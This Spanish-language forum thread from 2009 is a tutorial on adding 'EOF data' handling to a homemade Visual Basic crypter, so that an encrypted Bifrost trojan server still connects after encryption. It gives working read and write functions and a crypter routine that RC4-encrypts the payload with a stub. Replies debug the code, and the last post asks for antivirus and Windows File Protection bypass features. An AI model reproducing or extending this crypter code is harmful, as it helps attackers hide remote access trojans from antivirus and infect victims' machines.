• Agregar EOF Data de opcion en nuestros crypters

 #90341  por LuOpP
 07 Jul 2009, 21:55
Bueno pos respondiendo a una duda de un usuario k keria saber al forma mas facil de añadirle La opcion de EOF Data aki va la forma de hacerlo o almenos como hago yo

Lo primero añadimos estas 3 funciones a nuestro crypter
Código: [ Debe registrarse para ver este enlace ]
Public Function GetNullBytes(lNum) As String
Dim sBuf As String
Dim i As Integer
For i = 1 To lNum
sBuf = sBuf & Chr(0)
Next
GetNullBytes = sBuf
End Function


Public Function ReadEOFData(sFilePath As String) As String
On Error GoTo Err:
Dim sFileBuf As String, sEOFBuf As String, sChar As String
Dim lFF As Long, lPos As Long, lPos2 As Long, lCount As Long
If Dir(sFilePath) = "" Then GoTo Err:
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
ReadEOFData = StrReverse(sEOFBuf)
If ReadEOFData = "" Then
MsgBox "EOF data no detectada!", vbInformation
Else
MsgBox "EOF data detectada!", vbInformation
End If
Exit Function
Err:
ReadEOFData = vbNullString
End Function


Sub WriteEOFData(sFilePath As String, sEOFData As String)
Dim sFileBuf As String
Dim lFF As Long
On Error Resume Next
If Dir(sFilePath) = "" Then Exit Sub
lFF = FreeFile
Open sFilePath For Binary As #lFF
sFileBuf = Space(LOF(lFF))
Get #lFF, , sFileBuf
Close #lFF
Kill sFilePath
lFF = FreeFile
Open sFilePath For Binary As #lFF
Put #lFF, , sFileBuf & sEOFData
Close #lFF
End Sub
En esencia tiene dos importantes k son "ReadEOFData" y "WriteEOFData" con la primera leera la EOF data del archivo original y con la 2º la escribira en el archivo k keramos. Vamos a poner por caso el BF como ejemplo pos hariamos ReadEOFData del server orginal antes de encryptar y cuando ya este encryptado un WriteEOFData

De k forma?
Pos por ejemplo en el boton de Crypt de un server luego de esto k se suele poner por si el user no ha seleccionado neustro server del BF:
Código: [ Debe registrarse para ver este enlace ]
      If textitem.Text = "" Or txtitem.Text = "Seleccione el archivo" Then
      MsgBox "Seleccione un archivo", vbExclamation, Me.Caption
      Exit Sub
      Else
(El "textitem.Text" sera la direccion del server)
Bueno pos lo k hacemos a continuacion es leer el EOF y guardarlo en una variable para luego poder usarlo con el write

Antes de poner directamente como es para k lo kopieis sin mas voy a intetar explicaros lo k yo se

Vamos a leer la funcion de ReadEOFData
"Public Function ReadEOFData(sFilePath As String) As String"
Lo k esta entre parentesis () son las instrucciones k espera recibir y "As string" k tiene k ser una cadena de caracteres, para no enrollarnos espera recibir el archivo al k leer la EOF data (obvio no??)

Pos amso a ello debajo de akello k akabo de poner arriba vamos a poner una varible k sea
Código: [ Debe registrarse para ver este enlace ]
TheEOF = ReadEOFData(textitem.Text)
No nos olvidemos de declararla como una cadena de caracteres,si no lo has hecho ya ve a decaraciones y pon
Dim TheEOF$
(poner el "$" es lo mismo k poner As String, yo lo uso mas k es mas corto, al = k "As Integer es un "%"" As long un "&" bueno y asi...)
Vale ya tenemos el EOF del nuestro server BF copiado en memoria como "TheEOF" (para eso sirven las varibles)
K nos keda?? pos si has pensado en escribirlo en nuestro server crypteado has hacertado y asi de afcil es:
Al fianal del "Private Sub cmdCrypt_Click()" el cmdCrypt es mi boton de cryptear el write yo lo tengo antes del
Código: [ Debe registrarse para ver este enlace ]
     MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption 
pero tanto da = si lo poneis despues, vale pero como lo pongo? pos amos al "WriteEOFData" k nso pide?
Código: [ Debe registrarse para ver este enlace ]
Sub WriteEOFData(sFilePath As String, sEOFData As String)
Facil no?¿? Primero el archivo al k añadirle el EOF data, y luego el eof data (Logico...)
Como lo ponemos¿ asi:
Código: [ Debe registrarse para ver este enlace ]
Call WriteEOFData(CommonDialog1.FileName, TheEOF)
fijo k teneis algo como esto:
Código: [ Debe registrarse para ver este enlace ]
With CommonDialog1
.DialogTitle = "Select Output"
.DefaultExt = "exe"
.Filter = "Executables (*.exe)|*.exe|All Files (*.*)|*.*"
.ShowSave
End With
Me imagino k sabreis k es entonces "CommonDialog1.FileName"

Y TheEOF ?? pos si la variable en la k habiamso guardado antes el eof de nuestro server

Bueno pos eso es todo espero k haya servido de ayuda ( hay esta lo basico) si teneis alguan duda podeis pregutar lo k kerais
 #90419  por AdRi4N
 08 Jul 2009, 00:57
Parece muy bueno !!!, lo pruevo y te digo !!! Pero.. y si el archivo no tiene EOF ??

edito: yo me pierdo un poco en vb.. cuando pongo encryptar me dice si tiene eof o no, pero no se le añade el eof... ke es lo k falta?
 #90517  por xZiriuZx
 08 Jul 2009, 10:05
AdRpsp escribió:Parece muy bueno !!!, lo pruevo y te digo !!! Pero.. y si el archivo no tiene EOF ??

edito: yo me pierdo un poco en vb.. cuando pongo encryptar me dice si tiene eof o no, pero no se le añade el eof... ke es lo k falta?
brother el modulo ya viene con un msgbox que dice EOF data no detectado revisa bien el code que puso el compañero y ahi sale el mensaje si no lo detecta
 #90521  por Xpro
 08 Jul 2009, 10:21
Haber, para hacerlo más facil, la EOF data funciona así, tienes el módulo que bien pones ok, no lo he visto pero me imagino que es el de siempre, luego:

Tienes la check que poen " EOF ", ahora en el cliente ponemos:


If check1.value = 1 Then
dim read as string
read = ReadEofData((nombre_del_commanddialog).filename
end if

Que haga todo lo que tiene que hacer de crear el server poner los datos blablablabla, y al final, antes del tipico msgbox de " Archivos protegidos " , pones :

If check1.value = 1 Then
Call WriteEOFData(App.Path & "\nuestro_server_creado_ya.exe", read)
end if




De esa manera, le grabamos el eof data recojida en la variable read, Un saludo
 #90654  por AdRi4N
 08 Jul 2009, 22:18
xpro escribió:Haber, para hacerlo más facil, la EOF data funciona así, tienes el módulo que bien pones ok, no lo he visto pero me imagino que es el de siempre, luego:

Tienes la check que poen " EOF ", ahora en el cliente ponemos:


If check1.value = 1 Then
dim read as string
read = ReadEofData((nombre_del_commanddialog).filename
end if

Que haga todo lo que tiene que hacer de crear el server poner los datos blablablabla, y al final, antes del tipico msgbox de " Archivos protegidos " , pones :

If check1.value = 1 Then
Call WriteEOFData(App.Path & "\nuestro_server_creado_ya.exe", read)
end if




De esa manera, le grabamos el eof data recojida en la variable read, Un saludo

Muchas gracias pero lo ke kiero es ke automaticamente si tiene EOF pues ke lo ponga... y si no logicamente ke no xD
graciass !
 #90687  por Invitado
 09 Jul 2009, 00:00
Todo el proceso me va bien ,Pero al terminar la encriptacion y ejecutar el servidor de Bifrost este no seconecta
Parece que no le se copio la Informacion guardada en la variable TheEOF al servidor ya que si se ejecuta sin encriptar funciona bien.
Adelanto que no es un fallo de el cripter ya que si que encripta cualquier aplicacion sin EOF funciona.

Este es mi code

(DEl BOTON BUSCAR ARCHIVO)
Código: [ Debe registrarse para ver este enlace ]
Private Sub cmdBuscar_Click()
With CD
        .DialogTitle = "Seleccione su servidor para encriptar!"
        .Filter = "Aplicaciones EXE|*.exe" 
        .ShowOpen 
        End With 
        txtarchivo.Text = CD.FileName
              
       If Not CD.FileName = vbNullString Then 
       txtarchivo.Text = CD.FileName 
       MsgBox "Archivo cargado correctamente!" 

       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
       End If
    
End Sub
EL WITH PERTENECIENTE AL BOTON ENCRIPTAR
Código: [ Debe registrarse para ver este enlace ]
With CD
                    
       .DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
       .Filter = "Aplicaciones EXE|*.exe"
       .ShowSave 
       End With
       
      If Not CD.FileName = vbNullString Then 
      Archivo = RC4(Archivo, "[email protected]") 
    
      Open CD.FileName For Binary As #1 
     Put #1, , stub & "##$$##" & Archivo & "##$$##"
     Close #1 
     
      
    
     Call WriteEOFData(CD.FileName, TheEOF) <--AQui CODE DE EOF

     
     MsgBox "Servidor Encriptado Correctamente!", vbInformation, Me.Caption
 
 End If

End Sub
 #90763  por LuOpP
 09 Jul 2009, 09:48
Código: [ Debe registrarse para ver este enlace ]
       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
Eso tiene k ir al principio del boton de encryptar no en el de buscar
Si lo pusistes ahi para k kuando se cargue el archivo avise si tiene eof o no, peudes dejarlo pero has de ponerlo tb en la funcion del boton de encryptar ya k de esa forma la variable TheEOF no es la misma k en el sub del encrytpar y no te escribira ninguna.
Mira prueba esto (en un proyecto aparte:
Código: [ Debe registrarse para ver este enlace ]
Option Explicit


Private Sub Form_Load()
Dim TheEOF%
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Dim TheEOF%
Print TheEOF
End Sub
Al cargar te escribira 3 pero al darle click en un boton k escribira?,3? pos no va escribir 0

Si kieres k escriba el 3 al darle al boton tienes dos opciones (las mismas k kon tu problema)
una ponerlo otra vez lo de TheEOF = 3 otra... pudes declarar general la variable (ve a declarations y escribe Dim TheEOF%
asi kedara
Código: [ Debe registrarse para ver este enlace ]
Option Explicit
Dim TheEOF%


Private Sub Form_Load()
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Print TheEOF
End Sub
 
Ahora al cargar escribira 3 y al darle al botono?0? pos no ahora si k escribira 3

Edito: creo k me he liado un poko.
Para solucionar tu problema:
Pillas el " Dim TheEOF$" y lo pones Declarations (arriba del todo) luego kitalo de donde lo tengas
 #90787  por Xpro
 09 Jul 2009, 12:05
LuOpP escribió:
Código: [ Debe registrarse para ver este enlace ]
       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
Eso tiene k ir al principio del boton de encryptar no en el de buscar
Si lo pusistes ahi para k kuando se cargue el archivo avise si tiene eof o no, peudes dejarlo pero has de ponerlo tb en la funcion del boton de encryptar ya k de esa forma la variable TheEOF no es la misma k en el sub del encrytpar y no te escribira ninguna.
Mira prueba esto (en un proyecto aparte:
Código: [ Debe registrarse para ver este enlace ]
Option Explicit


Private Sub Form_Load()
Dim TheEOF%
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Dim TheEOF%
Print TheEOF
End Sub
Al cargar te escribira 3 pero al darle click en un boton k escribira?,3? pos no va escribir 0

Si kieres k escriba el 3 al darle al boton tienes dos opciones (las mismas k kon tu problema)
una ponerlo otra vez lo de TheEOF = 3 otra... pudes declarar general la variable (ve a declarations y escribe Dim TheEOF%
asi kedara
Código: [ Debe registrarse para ver este enlace ]
Option Explicit
Dim TheEOF%


Private Sub Form_Load()
TheEOF = 3
Show
Print TheEOF
End Sub

Private Sub Command1_Click()
Show
Print TheEOF
End Sub
 
Ahora al cargar escribira 3 y al darle al botono?0? pos no ahora si k escribira 3

Edito: creo k me he liado un poko.
Para solucionar tu problema:
Pillas el " Dim TheEOF$" y lo pones Declarations (arriba del todo) luego kitalo de donde lo tengas




"
LuOpP escribió:
Código: [ Debe registrarse para ver este enlace ]
       Dim TheEOF$ <--AQui CODE DE EOF
        TheEOF = ReadEOFData(txtarchivo.Text)
"


No tiene porqué, yo lo pongo siempre al final, antes del MSGBOX , y de momento, nunca me a roto nada, te recomiendo, que la primera vez, en ves de usar el cd.filename aslo así:


Call WriteEofData (App.path & "\el_server_previo.exe",variable_leer_Eof)


Saludos
 #90792  por LuOpP
 09 Jul 2009, 12:50
Yo no he dicho k no se pueda poner al final antes del msgbox (alomejor me explik mal), èl lo k esta haciendo es declarar la variable en una función aparte de la k usa el write conlok esa variable solo le va a servir (en este caso) para el sub de "BOTON BUSCAR ARCHIVO" kon lo kual o vuelve a declarar dentro de "BOTON ENCRIPTAR" (o en declarations para ponerla como general)o no le va funcar

Pd:Tal vez este ekivocado, tan solo llebo un mes con esto del Vb pero creok es asi
 #90810  por Invitado
 09 Jul 2009, 14:31
Viendo que estas conectado aprovechar para decirte que estoy mirando las opciones para hir incorporandolas ,Pedirte si Me puedes ayudar con alguna Me me lo envias a mi MSN ,sino pues lo posteas si te parece bien.


Bypass WFP

Anti DeepFreeze

Bypass KAV Proactive Defense

Icono Final

Realign PE Header